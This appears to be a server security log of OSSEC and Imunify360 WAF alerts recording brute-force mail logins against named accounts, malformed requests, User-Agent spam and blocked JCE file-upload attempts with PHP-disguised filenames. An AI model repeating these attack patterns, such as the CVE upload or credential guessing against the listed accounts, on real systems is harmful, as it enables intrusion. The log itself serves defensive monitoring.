2026-07-16 20:38:32 dovecot_login authenticator failed for H=ip157.net-193-180-125.koping.net ([187.50.194.182]) [193.180.125.157]:49224: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.125
country_id: 1668284
description:
2026-07-16 20:38:45 dovecot_login authenticator failed for H=221-120-57-125.emome-ip.hinet.net ([203.193.147.37]) [221.120.57.125]:54536: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.166.123
country_id: 1605651
description:
2026-07-16 20:39:11 dovecot_login authenticator failed for H=([49.124.151.70]) [106.0.166.123]:45494: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-16 20:39:16 dovecot_login authenticator failed for H=([116.7.248.50]) [51.116.117.203]:27994: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.236.211.54
country_id: 2661886
description:
2026-07-16 20:41:34 dovecot_login authenticator failed for H=81-236-211-54-no2550.tbcn.telia.com ([85.117.232.42]) [81.236.211.54]:58448: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-07-16 20:42:02 dovecot_login authenticator failed for H=([180.76.104.208]) [210.206.24.237]:64926: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.252
country_id: 1668284
description:
2026-07-16 20:41:11 dovecot_login authenticator failed for H=111-70-23-252.emome-ip.hinet.net ([68.71.249.154]) [111.70.23.252]:45311: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.209.67.3
country_id: 163843
description:
2026-07-16 20:41:17 dovecot_login authenticator failed for H=([49.124.149.218]) [205.209.67.3]:39140: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.141.252.55
country_id: 6252001
description:
2026-07-16 20:41:28 dovecot_login authenticator failed for H=(abts-north-static-238.45.176.122.airtelbroadband.in) [38.141.252.55]:34589: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.153.146
country_id: 99237
description:
2026-07-16 20:42:21 dovecot_login authenticator failed for H=([98.188.47.130]) [65.20.153.146]:36268: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 118.179.3.84
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/audio-solutions-microphones-and-speakers HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.234.16.75
country_id: 6252001
description:
2026-07-16 20:52:49 dovecot_login authenticator failed for H=dhcp-72-234-16-75.hawaiiantel.net ([142.54.228.195]) [72.234.16.75]:52346: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.136.8.69
country_id: 2661886
description:
2026-07-16 20:53:07 dovecot_login authenticator failed for H=h-79-136-8-69.a463.priv.bahnhof.se ([182.95.116.66]) [79.136.8.69]:51644: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.135.172
country_id: 1819730
description:
2026-07-16 20:53:56 dovecot_login authenticator failed for H=([72.37.216.65]) [121.202.135.172]:18893: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.221.130
country_id: 1269750
description:
2026-07-16 20:54:55 dovecot_login authenticator failed for H=([175.195.231.106]) [122.187.221.130]:55756: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.177.239.67
country_id: 357994
description:
2026-07-16 20:56:02 dovecot_login authenticator failed for H=([218.92.244.10]) [154.177.239.67]:55068: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.198.246
country_id: 660013
description:
2026-07-16 20:55:34 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc6-246.dhcp.inet.fi ([107.181.168.150]) [80.223.198.246]:39112: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.89.128.6
country_id: 192950
description:
2026-07-16 20:56:14 dovecot_login authenticator failed for H=([212.73.75.82]) [41.89.128.6]:40662: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.84
country_id: 1835841
description:
2026-07-16 21:02:06 dovecot_login authenticator failed for H=(189-108-96-183.customer.tdatabrasil.net.br) [183.104.220.84]:55352: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.233.203.159
country_id: 2661886
description:
2026-07-16 21:02:13 dovecot_login authenticator failed for H=89-233-203-159.cust.bredband2.com ([47.215.0.179]) [89.233.203.159]:50672: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 185.155.233.108
country_id: 174982
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://mid-east.info/is-iq-option-legit-or-not-data-driven-look-at-gamification-asset-diversification-and-mobile-first-platforms/\">iq option real or fake</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.45.144.201
country_id: 6252001
description:
2026-07-16 21:07:14 dovecot_login authenticator failed for H=66-45-144-201-dynamic.midco.net ([98.188.47.130]) [66.45.144.201]:34490: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.5.205.174
country_id: 6252001
description:
2026-07-16 21:07:31 dovecot_login authenticator failed for H=ip-50-5-205-174.dynamic.fuse.net ([70.166.167.58]) [50.5.205.174]:38172: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-07-16 21:10:10 dovecot_login authenticator failed for H=([72.214.108.73]) [103.130.207.227]:42274: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.18.106.54
country_id: 6252001
description:
2026-07-16 21:11:01 dovecot_login authenticator failed for H=(dsl-94-233-127-194.avtlg.ru) [173.18.106.54]:53722: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-16 21:12:54 dovecot_login authenticator failed for H=([182.31.36.202]) [102.210.148.41]:52466: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.138
country_id: 1269750
description:
2026-07-16 21:13:05 dovecot_login authenticator failed for H=([184.181.178.35]) [182.95.106.138]:38726: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-16 21:14:44 dovecot_login authenticator failed for H=([117.158.21.113]) [182.95.61.82]:34018: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.9.20
country_id: 2661886
description:
2026-07-16 21:14:18 dovecot_login authenticator failed for H=user20.85-195-9.netatonce.net ([80.233.77.136]) [85.195.9.20]:54866: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.172
country_id: 1668284
description:
2026-07-16 21:15:09 dovecot_login authenticator failed for H=221-120-57-172.emome-ip.hinet.net (201-200-93-6.mad-05-p64.cantv.net.93.208.201.in-addr.arpa) [221.120.57.172]:34472: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.146.109
country_id: 99237
description:
2026-07-16 21:15:23 dovecot_login authenticator failed for H=([210.123.87.143]) [65.20.146.109]:38017: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://london.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.227
country_id: 1269750
description:
2026-07-16 21:20:01 dovecot_login authenticator failed for H=(voip.uet.edu.pk) [128.185.33.227]:32880: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.71.129
country_id: 2963597
description:
2026-07-16 21:20:11 dovecot_login authenticator failed for H=([49.124.153.2]) [207.254.71.129]:55943: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.30.129.156
country_id: 6251999
description:
2026-07-16 21:26:46 dovecot_login authenticator failed for H=host-96-30-129-156.public.eastlink.ca ([183.171.154.51]) [96.30.129.156]:59416: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.18.115.154
country_id: 3175395
description:
2026-07-16 21:29:21 dovecot_login authenticator failed for H=(2-55-75-176.orange.net.il) [85.18.115.154]:51605: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.56
country_id: 99237
description:
2026-07-16 21:29:46 dovecot_login authenticator failed for H=([174.75.211.217]) [65.20.133.56]:36085: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.244.215.186
country_id: 298795
description:
2026-07-16 21:29:24 dovecot_login authenticator failed for H=([59.34.17.130]) [178.244.215.186]:50974: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.241.142.170
country_id: 3865483
description:
2026-07-16 21:29:26 dovecot_login authenticator failed for H=([192.111.129.146]) [191.241.142.170]:45358: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.190.201.155
country_id: 6252001
description:
2026-07-16 21:29:38 dovecot_login authenticator failed for H=syn-108-190-201-155.biz.spectrum.com ([223.109.200.181]) [108.190.201.155]:39440: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-16 21:30:12 dovecot_login authenticator failed for H=([95.84.137.185]) [182.95.228.106]:47068: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 185.235.16.12
country_id: 163843
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://www.91xinfang.com/\">91\xe6\x96\xb0\xe6\x88\xbf\xe5\x9c\xa8\xe7\xba\xbf</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.192.203.68
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/303115225 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.87.154.244
country_id: 3923057
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/332448627 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 68.183.227.208
country_id: 1880251
domain: www.alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:mastalj7mjx.xml.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.251.110.73
country_id: 3996063
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/371459076 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.130
country_id: 3686110
description:
2026-07-16 21:40:43 dovecot_login authenticator failed for H=([111.26.62.38]) [206.62.136.130]:38347: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 136.158.61.68
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/43364601 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 118.179.39.29
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/473025680 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.206.131.33
country_id: 1269750
description:
2026-07-16 21:41:30 dovecot_login authenticator failed for H=([118.37.27.11]) [103.206.131.33]:40177: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-16 21:41:37 dovecot_login authenticator failed for H=([98.190.239.1]) [182.95.176.122]:54146: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 102.205.238.242
country_id: 192950
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:54942.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4c4af3ac1457c77d567cf6ba1e678da3a4f866e7||Title:0xafb30394||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 98.220.233.161
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/492167133 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.26
country_id: 1269750
description:
2026-07-16 21:44:18 dovecot_login authenticator failed for H=([72.214.108.73]) [182.95.181.26]:52800: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 42.118.202.45
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/502980128 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.61.159.91
country_id: 2264397
description:
2026-07-16 21:44:55 dovecot_login authenticator failed for H=91.159.61.94.rev.vodafone.pt ([184.185.2.1]) [94.61.159.91]:33232: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.121.172.47
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5087929 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.72.106
country_id: 1835841
description:
2026-07-16 21:47:00 dovecot_login authenticator failed for H=([104.37.132.51]) [59.6.72.106]:1873: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.228.159
country_id: 1835841
description:
2026-07-16 21:47:23 dovecot_login authenticator failed for H=(nsg-corporate-228.228.187.122.airtel.in) [218.149.228.159]:55264: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.19.78.110
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/58346818 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-16 21:49:39 dovecot_login authenticator failed for H=(industrianaval.fla.gvt.net.br) [182.95.181.50]:40712: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.20.228.20
country_id: 1269750
description:
2026-07-16 21:49:54 dovecot_login authenticator failed for H=([213.234.5.66]) [157.20.228.20]:47258: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77469916
abuser: 203.83.39.32
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce1tu1gqbs.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.132.64.89
country_id: 2921044
description:
2026-07-16 21:50:55 dovecot_login authenticator failed for H=([68.71.249.154]) [212.132.64.89]:56520: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 203.83.39.32
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceejc8g8tf.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.46.58.104
country_id: 1835841
description:
2026-07-16 21:51:17 dovecot_login authenticator failed for H=([49.125.201.92]) [14.46.58.104]:48392: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.163.95.253
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/6b634770 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.61.159.91
country_id: 2264397
description:
2026-07-16 21:55:04 dovecot_login authenticator failed for H=91.159.61.94.rev.vodafone.pt ([49.125.201.69]) [94.61.159.91]:54110: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.118.190.204
country_id: 1835841
description:
2026-07-16 21:56:07 dovecot_login authenticator failed for H=([192.252.208.66]) [220.118.190.204]:32491: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.187.108.39
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/71977097 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.47.56.78
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/731057694 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.88.209.51
country_id: 1269750
description:
2026-07-16 21:56:55 dovecot_login authenticator failed for H=([24.249.199.9]) [202.88.209.51]:39230: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.250.226.146
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/802160329 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.124.176.253
country_id: 3437598
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/782958746 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.63.25.210
country_id: 3686110
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/872315143 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-07-16 21:58:55 dovecot_login authenticator failed for H=([111.70.17.214]) [110.227.211.82]:34742: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.75.49.166
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/901823337 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.139.45.133
country_id: 248816
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/903575749 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 85.96.213.163
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/933418207 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-07-16 22:02:20 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net ([222.118.247.66]) [76.132.238.43]:39812: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.35.209.208
country_id: 1835841
description:
2026-07-16 22:02:36 dovecot_login authenticator failed for H=([142.54.235.12]) [14.35.209.208]:49518: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.82.7.89
country_id: 2077456
description:
2026-07-16 22:02:42 dovecot_login authenticator failed for H=([185.65.238.251]) [95.82.7.89]:37494: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.145.35
country_id: 1269750
description:
2026-07-16 22:03:40 dovecot_login authenticator failed for H=([174.75.211.195]) [103.174.145.35]:42436: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.163.13.120
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/961892736 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-16 22:03:32 dovecot_login authenticator failed for H=([162.253.68.102]) [182.95.150.106]:49908: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.138.166.217
country_id: 1835841
description:
2026-07-16 22:04:40 dovecot_login authenticator failed for H=([218.21.37.250]) [125.138.166.217]:59530: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.202.4
country_id: 99237
description:
2026-07-16 22:05:05 dovecot_login authenticator failed for H=([27.39.130.144]) [65.20.202.4]:33008: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 103.245.38.203
country_id: 1643084
domain: travelinbh.com
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:file||MV:kill-2026.txt||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.214.75.248
country_id: 298795
description:
2026-07-16 22:05:22 dovecot_login authenticator failed for H=(wsip-184-178-172-12.rn.hr.cox.net) [81.214.75.248]:55456: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.245.38.203
country_id: 1643084
domain: travelinbh.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:93143||Sizes:56||Combined size:56||User:travelinbh||WPU:||Filename:kill-2026.txt||Scanned:/tmp//20260716-220545-alkIYVWqlbtwnTmIDeJylgAAAAk-file-VFAoVx||SC:/home/travelinbh/public_html/index.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 42.112.224.230
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a6999894 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.70.80.252
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b3231360 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.189.154.78
country_id: 337996
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c01167487 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: img6kb79.ibmcglobal.com
description:


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.54.106.150
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d62350594 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 43.245.157.67
country_id: 6254930
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/dd2706203 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.146.112.181
country_id: 587116
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e83464101 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.183.228.238
country_id: 1880251
description:
2026-07-16 22:16:51 dovecot_login authenticator failed for H=(201-2-140-186.paemt704.e.brasiltelecom.net.br) [68.183.228.238]:58802: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 37.122.149.28
country_id: 6251999
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:a2907.xml.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.26.237.73
country_id: 3865483
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f53511041 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.118.32.190
country_id: 1269750
description:
